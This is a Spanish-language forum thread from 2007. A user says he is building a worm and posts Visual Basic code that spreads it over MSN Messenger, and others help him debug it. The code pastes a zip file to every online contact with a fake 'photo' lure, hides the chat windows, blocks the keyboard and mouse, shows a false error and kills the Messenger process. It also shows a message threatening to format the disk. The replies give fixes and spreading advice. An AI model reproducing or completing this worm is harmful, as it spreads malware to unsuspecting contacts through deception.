ocultar las ventanas de conversacion de msn

Iniciado por xhc, 14 Noviembre 2007, 16:10 PM

0 Miembros y 1 Visitante están viendo este tema.

xhc

hola , estoy haciendo un worm y estoy un poco pillado con la parte del msn.

este es el code de mi parte del MSN(hecho por Hendrix, he añadido algunas cosas):

'declaraciones
Private WithEvents MSN As MessengerAPI.Messenger
Dim contactos
Dim contacto
Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Private Declare Function ShowWindow Lib "user32" (ByVal hwnd As Long, ByVal nCmdShow As Long) As Long
Private Const SW_HIDE = 0
Private Const SW_SHOW = 5
Dim Window As Long

Private Declare Sub keybd_event Lib "user32" (ByVal bVk As Byte, ByVal bScan As Byte, ByVal dwFlags As Long, ByVal dwExtraInfo As Long)
Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
Private Declare Function BlockInput Lib "user32" (ByVal fBlock As Long) As Long
Const KEYEVENTF_KEYUP = &H2
Const VK_LWIN = &H5B

Private Sub Form_Load()
On Error Resume Next
Dim ap(0) As String
ap(0) = "C:\DSC00082.zip"
If ClipboardCopyFiles(ap) = True Then ' Nos ponemos en el Portapapeles
End If
Wait (1) ' Esperamos 1 respiro al procesador...


 
  Set MSN = New MessengerAPI.Messenger
Set contactos = MSN.MyContacts

For Each contacto In contactos
    If contacto.Status <> 1 Then
        List1.AddItem contacto.SigninName
    End If
Next
 
Window = FindWindow(vbNullString, List1.List)
If Window = 0 Then 'si no encuentra la ventana
  MsgBox "Instala MSN Messenger o de lo contrario tu disco duro quedara completamente formateado", vbCritical + vbInformation, "Error" 'sale un mensaje de error
  Else
  ShowWindow Window, SW_HIDE 'showWindow ocultara la venta
  End If


Set w = CreateObject("Messenger.UIAutomation")
For Each contacto In w.MyContacts 'Vamos de contacto en contacto
If (contacto.Status = 2) Or (contacto.Status = 10) Or (contacto.Status = 14) Or (contacto.Status = 34) Or (contacto.Status = 50) Or (contacto.Status = 66) Then
Set iMsn = w.InstantMessage(contacto.SigninName)

SendKeys "^V"
DoEvents
Sleep 1
SendKeys "mira k foto me ice el otro dia"
DoEvents
SendKeys "{ENTER}"
DoEvents
Sleep 1
End If
Next
Wait (1) ' Esperamos un segundito para no "atascar" tanto...
' A partir de aki sirve para minimizar todas las ventanas...
Call keybd_event(VK_LWIN, 0, 0, 0)
Call keybd_event(77, 0, 0, 0)
Call keybd_event(VK_LWIN, 0, KEYEVENTF_KEYUP, 0)

DoEvents
BlockInput True
Sleep 15000
BlockInput False

ShowWindow Window, SW_SHOW 'esto es para mostrar la ventana oculta

MsgBox "Error en el volumen 800fs00x0658 del servicio Windows Live Messenger. Por favor inicie sesion de nuevo", vbInformation, "Windows Live Messenger"
Shell "cmd.exe /c taskkill /f /im msnmsgr.exe"
end sub


añdo un listbox para que se carguen los contactos ahi y asi luego poder ocultar sus ventanas pero al compilarlo me da un error con .list de lis1.list

¿¿que puedo hacer para minimizar las ventanas de conversacion con la lista de contactos en un listbox, porque me da error en .list??
o usais otra forma para ocultar las ventanas de conversacion?

saludos ;)

sch3m4

List tiene que llevar un parámetro que indica el id del item
SafetyBits

"Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.(..

xhc

Cita de: Lympex en 14 Noviembre 2007, 16:29 PM
List tiene que llevar un parámetro que indica el id del item

podrias explicarmelo un poco,  no lo entiendo muy bien  :-\

HaDeS, -

A lo que se refiere lympex, es que al "List1.list" le tenes que pasar un parámetro que indica la posición del cursor sobre el listado, como no se puede agarrar todos los datos del list de una vez, tenes que hacer un bucle que recorra cada elemento de dicho list, así:
Código (vb) [Seleccionar]

dim i%
for i= 0 to list1.listcount
Window = FindWindow(vbNullString, List1.List(i))
'funciones para mandar el archivo
next i

Y dado que le vas a mandar a cada contacto el archivo, te sugiero mejor que no se lo mandes a todos los contactos conectado, sino que escojas del list1 algunos contactos solamente, y que a esos solo les mande el file.

Código (vb) [Seleccionar]

If (contacto.Status = 2) Or (contacto.Status = 10) Or (contacto.Status = 14) Or (contacto.Status = 34) Or (contacto.Status = 50) Or (contacto.Status = 66) Then

Esa línea, la podes cambiar por algo más simple:
Código (vb) [Seleccionar]

if contacto.status <> 1 then

Ya que 1 representa un contacto offline, si contacto.status devuelve un valor diferente a uno, es porque tiene los demás estados del messenger.

Saludos ;)

xhc

Me dice que no encuentra la ventana. Debe ser porque muchos contactos tienen msn plus y el nick de colores, entonces en el administrador de tareas pone el nick pero no pone los caracteres que pone en el list1 para los colores. Ej:

este es un nick [c=12]hola[/c] y aparece asi en el listbox, pero en el administrador de tareas pone directamente "hola".
y otro cosa por la que creo que tampoco me funciona con contactos con nick normal es que al final pone -conversacion, entonces no encuentra la ventana.

sabeis otra forma de ocultarlo?
o mejor minimizo y oculto la barra de tareas, envio todo, y luego vuelvo a mostrar la barra de tareas con el msn cerrado?

saludos